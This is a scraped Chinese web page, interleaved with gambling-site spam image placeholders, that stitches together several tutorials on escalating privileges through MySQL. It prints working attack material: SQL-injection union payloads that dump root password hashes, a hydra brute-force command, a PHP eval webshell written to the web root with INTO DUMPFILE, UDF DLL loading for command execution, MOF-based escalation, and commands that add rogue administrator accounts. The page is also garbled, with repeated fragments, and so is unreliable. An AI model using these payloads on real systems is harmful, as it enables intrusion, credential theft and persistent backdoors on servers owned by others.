澳门金沙vip 14

澳门金沙vipmysql dumpfile 与 outfile 函数的区别

一直以为两个函数作用是相同的
 
经过简单测试发现还是有些区别的
 
如下表admin
 
mysql> select * from admin;
 
+—–+———–+———+
 
| uid | name      | pass    |
 
+—-+————+———+
 
|  1 | admin      | baidusb |  
 
|  2 | root          | hacksb  |
|  3 | manage    | nimei    |
 
|  4 | boss         | helensb |
 
|  5 | guanli       | admin   |
 
|  6 | superuser  | G0Ood   |
 
+—-+————+———+
 
mysql> select * from admin into outfile
‘/home/seclab/test/test1.txt’;
 
Query OK,1 row affected (0.00 sec)
 
我是想将这些内容 导出到 一个txt文件,事实上是可以完整导出每行记录的.
这个很适合导库
 
 
而into dump是不行的 它只能导出 一行数据!
 
 
若我们想把一个 可执行2进制 文件用into outfile函数导出
事实上 导出后 就会被破坏
 
因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
这样的话这个2进制可执行 文件 就会被破坏
 
这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
 
 
如在无web脚本 执行 但是有mysql root 执行的环境下 我们就可以 通过
into dump 函数导入udf.dll进行提权
 
mysql> show variable like ‘%plugin%’;
 
+—————-+——————————————+
|Variable_name   | Value                                    |
+—————-+——————————————+
| plugin_dir     |c:\mysql\mysql server 5.1\lib/plugin      |
+—————-+——————————————+
 
mysql> select unhex(‘udf.dll hex code’) into dumpfile ‘c:/mysql/mysql
server 5.1/lib/plugin/xxoo.dll’;
mysql> select * from func; #查看是否有人创建过udf
如果有就可以省略
mysql> create function MyCmd returns string soname ”c:/mysql/mysql
server 5.1/lib/plugin/xxoo.dll’;
mysql> select MyCmd(‘whoam’);
 
一点小知识点:
 
如何获取该udf.dll文件的16进制值(hex)?
我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作
 
mysql> select hex(load_file (‘c:/windows/temp/xxoo.dll’)) into
outfile ‘c:/windows/temp/xxoo.txt’;
 
 
如何获取该udf插件的内置 函数?
 
通过C32 等16进制 编辑器 或直接通过记事本 打开 看关键字 即可


本文作者:i春秋签约作家——Binghe

前提条件:获取root用户的密码。

摘自

致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章。

一.UDF提权

1.如何获取root用户的密码。

(1).数据库配置文件。

在网站目录下寻找,留意config,inc,sql,database等命名的文件。

澳门金沙vip 1

(2).暴力破解,例如使用hydra。

hydra -l root -P /root/桌面/pass.txt -s 3306 mysql://192.168.80.33 -vV

注意:mysql root用户可能不允许远程连接。

设置方法:

mysql -uroot -proot -h127.0.0.1

mysql>use mysql;

mysql>update user set host=’%’ where user=’root’;

mysql>select host,user from user;

(3).查看user文件。

root用户的账号密码存储在mysql库下的user表中,对应目录地址一般为../data/mysql/user.myd

澳门金沙vip 2

2.udf提权(小于5.1版本及大于5.1版本)

小于5.1版本导出路径:c:/windows

大于5.1版本导出路径:../lib/plugin 不存在需创建!

(1)使用select @@plugin_dir;命令查询plugin目录。

澳门金沙vip 3

(2)由于不存在plugin目录,这里我们手动创建

澳门金沙vip 4

(3)安装dll文件

澳门金沙vip 5

(4)安装完成后可执行cmd命令,从而进行后续操作

澳门金沙vip 6


经过简单测试发现还是有些区别的 如下表admin mysql select * from admin;
+—–+———–+———+ | uid | name | pass…

文章目录:

二.MOF提权

原理:c:/windows/system32/wbem/mof/目录下的nullevt.mof文件每分钟的一个特定时间会去执行(“And
TargetInstance.Second =
5″每分钟的第五秒执行),把net命令添加到nullevt.mof中,net命令就会自动执行了。

nullevt.mof文件。

澳门金沙vip 7

1.查找可读可写目录,上传mof文件。C:/phpStudy/nullevt.mof

澳门金沙vip 8

2.执行sql语句,创建用户。

select load_file(‘C:/phpstudy/nullevt.mof’) into dumpfile
‘c:/windows/system32/wbem/mof/nullevt.mof’;

澳门金沙vip 9

admin5用户成功创建。

澳门金沙vip 10

3.修改nullevt.mof中的net命令,上传nullevt1.mof。

澳门金沙vip 11

澳门金沙vip 12

4.执行sql语句,将创建的admin5用户添加到administrators组。

select load_file(‘C:/phpstudy/nullevt1.mof’) into dumpfile
‘c:/windows/system32/wbem/mof/nullevt1.mof’;

澳门金沙vip 13

成功将admin5添加到administrators组。

澳门金沙vip 14

  • MySQL之UDF提权
  • MySQL之MOF提权
  • MySQL之常规写启动项提权
  • 导出木马到启动项提权
  • 反弹端口提权
  • MySQL提权综合姿势

part1 mysql之UDF提权

首先什么是UDF?

UDF为` style=”color: #ff0000″>User Defined Function style=”color: #000000″>`- style=”color: #ff0000″>用户自定义函数 style=”color: #000000″>,也就是支持用户自定义函数的功能。看这个名字应该就理解了一半了。

MySQL是最流行的开放源码SQL数据库管理系统,相对于Oracle,DB2等大型数据库系统,MySQL由于其开源性、易用性、稳定性等特点,受到个人使用者、中小型企业甚至一些大型企业的广泛欢迎。并且MySQL
有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。虽然MySQL
的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对
MySQL 进行一些扩展,这就是可以自行添加的MySQL 的 UDF。

0x01 MySQL信息收集

mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。

假设存在了对应的用于创建用户自定义函数的dll文件,如`udf.dll`,我们暂且不讨论dll文件的路径问题,通过dll文件来创建用户自定义函数(如`cmdshell`),要使用以下mysql语句:

create function cmdshell returns string soname 'udf.dll';

当然最值得注意的是MySQL对于用于UDF的dll文件路径也是有具体限制的,MYSQL的各个版本各有不同。
下面记录一下:

– 在MYSQL
4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。

– 在MYSQL
4.1-MySQL5.1的版本中,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含`/`或者`\`,简单的理解就是不能是绝对路径。所以我们将DLL释放到system32目录,来跳过这个限制,或者放到盘符的根目录下通过`c:udf.dll`这种形式的写法来跳过限制。其实只要把dll放到`PATH`这个环境变量所表示的任何一个目录下面,效果跟放到系统`system32`目录下面一样,以下几个创建函数的语句都是正确的:

create function cmdshell returns string soname 'udf.dll';
//假设此时udf.dll被上传到了c:\windows\system32目录
 
create function cmdshell returns string soname 'C:udf.dll';
//假设此时udf.dll被上传到了C盘根目录目录
 
create function cmdshell returns string soname 'udf.dll';
//假设此时udf.dll被上传到了任意的环境变量目录,如C:\php\


MYSQL5.1及之后的几个版本又多了一个限制:创建函数时所用的DLL只能放在mysql的plugin目录里面,而且这个plugin目录默认是不存在的,可能就是为了防止黑客通过导出文件的方式将DLL来写到这个文件夹,如果导出文件(`into
dumpfile`)的目标目录不存在是会报错的。

**所以在导出UDF提权之前
,先确定一下MYSQL的版本是有必要的
**。

我们需要在实际的实战中体会一下。首先假设我们通过前期的渗透测试得到了目标机的一些信息:

sql注入点一枚:

http://172.16.12.2/dwva/vulnerabilities/sqli/test.php?id=1

通过报错或者读取phpinfo等方式取得目标机的web根目录为:c:\www\

根据我们之前讲的sql注入相关知识,我们尝试通过以下语句读取数据库用户相关信息:

http://172.16.12.2/dwva/vulnerabilities/sqli/test.php?id=-1 union select concat(host,0x7c,user,0x7c,password),2,3 from mysql.user where host = 'localhost'#

>我们把参数从1改为-1是为了防止当前查询的返回结果影响我们到时候提取指定文本。

>`concat()`函数把多个需要查询的字段放在一起

>`0x7c`是`|`符号的16进制转码结果,有利于我们到时候把字段区分开。

我们得到以下具体信息:

localhost|root|*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

如此得知本地主机`localhost`的`root`账户的密码hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。

渗透测试中,我们可以通过`cmd5.com`的大型hash破解平台来破解密码,我们这里通过线上破解得知,此hash对应的密码值为`root`.

其实渗透测试中我们还可以通过爆破或者文件包含读取亦或是备份文件下载等方式得到目标机的MySQL服务相关登录信息。

然后我们尝试在这里写一个一句话webshell到服务器,一句话木马样本如下:

<?php @eval($_POST['pass']);?>

我们在火狐浏览器的HackBar插件把上述一句话木马转换为16进制,目的是避免特殊字符的转义导致语句不能正确执行:

 

如图,一句话木马加密后的结果为:

3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e

然后在注入点构造以下语句把一句话导出到`c:/www/small.php`,我们在一句话木马的16进制字符前加了`0x`(此为16进制标识符):

http://172.16.12.2/dwva/vulnerabilities/sqli/test.php?id=-1 union select 0x3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e,2,3 into dumpfile 'c:/www/small.php'

 

以上语句连续执行两次,如果出现以下错误,即说明文件写入成功:

Invalid Query:File 'c:/www/small.php' already exists

//第二次写入提示文件已存在则说明文件写入成功

我们尝试使用中国菜刀连接一句话木马,并使用中国菜刀的数据库管理功能来尝试UDF提权。在中国菜刀的数据库管理功能页面上方输入以下语句并执行,查看数据库版本信息:

select version();

 

这里我们得知,服务器的MySQL版本为`5.5.40`

0x02 导出DLL文件

MYSQL5.1及之后的几个版本又多了一个限制:创建函数时所用的DLL只能放在mysql的plugin目录里面,而且这个plugin目录默认是不存在的,可能就是为了防止黑客通过导出文件的方式将DLL来写到这个文件夹,如果导出文件(`into
dumpfile`)的目标目录不存在是会报错的。

使用以下语句查询MySQL的安装根目录:

select @@basedir;

澳门金沙vip 15

如上图我们得知目标服务器的MySQL的安装根目录为:

C:/Program Files/phpStudy/MySQL/

根据
我们前面讲述的MySQL5.1版本及其之后版本,我们自定义函数需要用到的shell导出的目录应该是:

C:/Program Files/phpStudy/MySQL/lib/plugin/

其实也可以通过以下语句获得插件目录(并不一定真实存在):

show variables like '%plugin%';

澳门金沙vip 16

然后我们找个任意的可上传目录把我们准备的`udf.dll`上传。

假设`udf.dll`上传后在服务器的绝对路径为:c:/www/udf.dll

然后我们通过以下方式把上传的文件以继承MySQL的权限导出到plugin目录,执行以下语句:

select load_file('C:/www/udf.dll') into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin/udf.dll';

执行该语句之后,我们发现返回为空,可能是导出文件不成功,或者是plugin目录不存在,我们通过菜刀的文件管理查看得知,plugin目录不存在:

澳门金沙vip 17

但是我们仍有办法通过MySQL语句来建立文件夹,方法是通过NTFS
ADS流来建立文件夹,但是成功率不太高。

执行以下sql语句来创建`lib`目录:

select 'test' into dumpfile 'C:/Program Files/phpStudy/MySQL/lib::INDEX_ALLOCATION';   

//利用NTFS ADS创建lib目录

再执行以下sql语句来创建`plugin`目录:

select 'test' into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin::INDEX_ALLOCATION';

//利用NTFS ADS创建plugin目录

澳门金沙vip 18

利用NTFS
ADS创建目录成功率很小,这个命令执行返回一直为空,二次执行不提示目录已存在,即可判断目录创建失败。如上图即目录创建失败。

我们尝试碰碰运气,直接用php来创建plugin目录(先切换到`C:\Program
Files\phpStudy\MySQL\lib\`),一般情况下是严格限制了目录权限的:

如上图,看来我们运气不错,直接成功创建了plugin目录。

接着,我们执行以下sql语句来导出`udf.dll`到`plugin`目录:

select load_file('C:/www/udf.dll') into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin/udf.dll';

然后我们执行以下sql语句来通过`udf.dll`创建`shell`函数(此函数是我们上传的`udf.dll`文件中内定的函数名,不同的dll文件中有不同的函数名):

create function shell returns string soname 'udf.dll';

 

`shell`函数用于执行系统命令,用法如下,其中的`set`是将要执行的cmd命令:

select shell('cmd','set');

//set命令用于查询系统环境变量

如下图,成功执行了cmd命令并获得了返回,右击查询结果,选择`文本格式显示`可以看到更全面的返回信息:

澳门金沙vip 19

然后我们尝试在服务器添加一个用户名为`ichunqiu`密码为`ichunqiu`的账户:

select shell('cmd','net user ichunqiu ichunqiu /add');

接着尝试把`ichunqiu`账户添加到`administrators`管理组: